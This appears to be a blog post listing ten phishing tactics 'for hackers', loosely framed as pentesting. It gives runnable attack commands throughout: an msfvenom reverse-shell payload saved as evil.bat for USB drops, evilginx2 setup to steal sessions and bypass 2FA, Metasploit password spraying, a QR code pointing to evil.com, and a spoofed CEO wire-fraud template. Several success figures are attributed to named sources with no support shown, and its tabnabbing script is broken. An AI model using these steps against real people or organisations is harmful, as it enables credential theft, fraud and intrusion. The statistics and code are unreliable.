Top 10 Phishing Tactics For Hackers
- Biohazard
- Jul 14
- 2 min read
Top 10 Phishing Strategies For Hackers
Success rates from real pentests (RedSiege, Black Hills data): 20-60% click/phish rates. This is a top 10 list of phishing tactics for hackers.
Evil Twin Wi-Fi Phishing (Post-WiFi Crack)
# After WPA2 crack → Fluxion/evilginx2
sudo fluxion # Auto-rogue AP + captive portal
Tactic: Clone real SSID, redirect to fake login → capture creds.
Success: 70% on mobile users.
WiFi Bonus: Deauth real AP → force reconnect to evil twin.
QR Code Phishing (Quishing)
# Generate: qrcode-monkey.com → evil.com/login
# Email/SMS: "Scan for WiFi access" → QR → phishing site
Tactic: Bypass email filters, 45% scan rate (Proofpoint).
Pentest: Embed in "New Employee WiFi Setup" QR.
Adversary-in-the-Middle (AiTM)
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && docker-compose up
Tactic: Man-in-middle OAuth (Office365, Gmail) → real session steal.
Phishlet: phishlets enable microsoft
Success: 90% bypasses 2FA.
Business Email Compromise (BEC)
# Template: CEO voicemail → "Urgent wire transfer"
From: ceo@company.com (spoofed)
Subject: [URGENT] Wire $50k to vendor TODAY
Link: company-payroll[.]com/transfer (Gophish)
Success: $1.8B losses/year (FBI). 30% response.
Credential Harvesting → Password Spraying
# Gophish → harvest creds → evilginx
# Then spray: admin:password123 across OWA/RDP
use auxiliary/scanner/http/owa_login
set USERPASS_FILE creds.txt
set RHOSTS target.com
run
Chain: WiFi creds → email → VPN.
USB/Vishing Drop (Physical)
# Rubber Ducky script → reverse shell
# OR: "Found USB? Plug in for bonus!"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 -f bat > evil.bat
Success: 98% plug-in rate (Schneier study).
SMS Phishing (Smishing)
# Twilio + Gophish
"Your IT reset: verify at secure-company[.]link/2fa"
Success: 27% click (PhishLabs), mobile weak MFA.
Modal Bypass (Reverse Tabnabbing)
html
<!-- In phishing page -->
<script>
window.open('https://real-bank.com','_blank');
setTimeout(()=>tab.focus(),1000); // Steal focus
</script>
Tactic: User tabs away → phish steals session.
Automated Campaigns (Gophish)
# Open-source phishing framework
docker run -p 3333:3333 gophish/gophish:latest
# Templates: OWA, Office365, Custom WiFi portal
Workflow:
Import targets CSV.
Landing: fake WiFi login.
Send → Track opens/clicks/creds.
Metrics: 25% average click rate.
SPEAR Phishing + OSINT
# Recon: LinkedIn → "Congrats on promotion! Claim bonus"
theHarvester -d company.com -b linkedin
maltego # Visualize relations
Personalize: Boss's vacation → "While I'm out, approve this invoice."
Success: 3x generic (KnowBe4).
Pentest Success Stack (WiFi → Phish Chain)
1. Crack WiFi (Hashcat) → Internal access
2. ARP spoof (bettercap) → Steal internal emails
3. Gophish campaign → External phish with internal data
4. Evilginx → Bypass 2FA → Domain Admin
Real Rates: WiFi 80% → Recon 90% → Phish click 30% → Shell 15%.
Tools Arsenal
Tool | Use | Install |
Gophish | Campaigns | docker run gophish/gophish |
Evilginx2 | AiTM | GitHub + Docker |
Fluxion | WiFi evil twin | |
King Phisher | Advanced GUI | apt install king-phisher |
Social-Engineer Toolkit (SET) | All-in-one | setoolkit |
Reporting Template
Phishing Campaign Results:
- Sent: 100 emails
- Opened: 42 (42%)
- Clicked: 18 (18%)
- Creds Harvested: 7 (7%)
- CVSS: 8.1 (High) - Social Engineering
- Fix: MFA everywhere, training
Legal: Get written ROE, 1-week notice window, immediate debrief. Use tracking pixels ethically.
Pro Tip: Combine WiFi evil twin + QR code on captive portal = 50%+ success.
Target org details (industry/size)? Custom template ready. Gophish campaign next?
Comments